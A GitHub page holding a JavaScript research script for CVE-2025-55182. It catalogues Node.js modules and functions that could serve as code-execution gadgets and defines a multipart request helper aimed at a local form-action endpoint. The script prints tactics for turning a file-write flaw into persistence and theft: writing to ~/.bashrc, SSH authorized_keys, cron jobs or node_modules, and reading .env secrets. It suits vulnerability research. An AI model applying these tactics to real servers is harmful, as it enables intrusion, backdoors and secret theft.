-
Notifications
You must be signed in to change notification settings - Fork 206
Expand file tree
/
Copy pathexploit-obscure-gadgets.js
More file actions
149 lines (128 loc) · 5.27 KB
/
exploit-obscure-gadgets.js
File metadata and controls
149 lines (128 loc) · 5.27 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
/**
* CVE-2025-55182 Research - Obscure RCE Gadgets
*
* Looking for less obvious code execution gadgets in Node.js
*/
const http = require('http');
async function sendRequest(formFields) {
const boundary = '----Boundary';
const parts = [];
for (const [name, value] of Object.entries(formFields)) {
parts.push('--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="' + name + '"\r\n\r\n' +
value + '\r\n');
}
parts.push('--' + boundary + '--\r\n');
const body = parts.join('');
return new Promise((resolve, reject) => {
const req = http.request({
hostname: 'localhost', port: 3002, path: '/formaction',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, (res) => {
let data = '';
res.on('data', chunk => data += chunk);
res.on('end', () => resolve({ status: res.statusCode, data }));
});
req.on('error', reject);
req.write(body);
req.end();
});
}
async function main() {
console.log('=== CVE-2025-55182 - Obscure Gadget Research ===\n');
// First, let's modify the server to add more modules to manifest
// and test them
console.log('=== Node.js Built-in Modules Analysis ===\n');
// List all built-in modules
const builtins = require('module').builtinModules;
console.log('Total built-in modules:', builtins.length);
// Categorize by danger level
const dangerous = {
'RCE_DIRECT': ['child_process', 'vm'],
'RCE_INDIRECT': ['fs', 'worker_threads', 'cluster'],
'NETWORK': ['net', 'dgram', 'http', 'https', 'http2', 'tls'],
'PROCESS': ['process', 'v8', 'perf_hooks'],
'POTENTIALLY_EXPLOITABLE': []
};
console.log('\n--- Dangerous Modules ---');
console.log('Direct RCE:', dangerous.RCE_DIRECT);
console.log('Indirect RCE:', dangerous.RCE_INDIRECT);
console.log('Network Access:', dangerous.NETWORK);
// worker_threads is interesting - can we spawn workers?
console.log('\n\n=== Testing worker_threads ===');
console.log('worker_threads can execute code in a new thread');
console.log('If bundled, Worker constructor might be exploitable');
// Check if Worker is a direct gadget
// new Worker(code, {eval: true}) executes code!
const { Worker } = require('worker_threads');
console.log('Worker:', typeof Worker);
console.log('Worker.constructor:', Worker.constructor.name);
// But we can't call "new" through this exploit...
// The exploit calls: fn.bind.apply(fn, [null, ...args])()
// This calls fn() not new fn()
console.log('\n=== Testing Function-based gadgets ===');
// What functions in Node.js, when called (not constructed), execute code?
const potentialGadgets = [
// vm module
{ mod: 'vm', fn: 'runInThisContext', desc: 'Executes code' },
{ mod: 'vm', fn: 'runInNewContext', desc: 'Executes in sandbox' },
{ mod: 'vm', fn: 'compileFunction', desc: 'Compiles to function' },
{ mod: 'vm', fn: 'Script', desc: 'Creates script (needs new)' },
// repl module - might have eval
{ mod: 'repl', fn: 'start', desc: 'Starts REPL' },
// module internals
{ mod: 'module', fn: '_load', desc: 'Loads module' },
{ mod: 'module', fn: 'createRequire', desc: 'Creates require' },
// inspector - debugging
{ mod: 'inspector', fn: 'open', desc: 'Opens inspector' },
];
console.log('\nPotential gadgets requiring bundled module:');
for (const g of potentialGadgets) {
try {
const mod = require(g.mod);
const fn = mod[g.fn];
console.log(` ${g.mod}#${g.fn}: ${typeof fn} - ${g.desc}`);
} catch (e) {
console.log(` ${g.mod}#${g.fn}: ${e.message}`);
}
}
console.log('\n\n=== Real-world Scenario Analysis ===');
console.log('');
console.log('Q: How likely are these modules to be in a real Next.js bundle?');
console.log('');
console.log('vm module: UNCOMMON - rarely used directly');
console.log(' - But: jest, mocha, some templating engines use it');
console.log(' - Some eval-like libraries wrap vm');
console.log('');
console.log('child_process: COMMON in build tools');
console.log(' - next-sitemap, various plugins');
console.log(' - PDF generators, image processors');
console.log('');
console.log('fs: VERY COMMON');
console.log(' - Almost every server has fs access');
console.log(' - Enables file read/write but not direct RCE');
console.log('');
console.log('worker_threads: GROWING');
console.log(' - Piscina, workerpool');
console.log(' - Heavy computation offloading');
console.log('');
console.log('=== Key Finding ===');
console.log('');
console.log('For DIRECT RCE, you need: vm or child_process in bundle');
console.log('');
console.log('For INDIRECT RCE (file-based):');
console.log(' - fs.writeFileSync is enough');
console.log(' - Write to ~/.bashrc, ~/.ssh/authorized_keys');
console.log(' - Overwrite node_modules for next restart');
console.log(' - Write cron jobs or systemd units');
console.log('');
console.log('Even without RCE, the vulnerability allows:');
console.log(' - Full file system read (secrets, source code, .env)');
console.log(' - Full file system write (defacement, backdoors)');
console.log(' - Denial of service');
}
main().catch(console.error);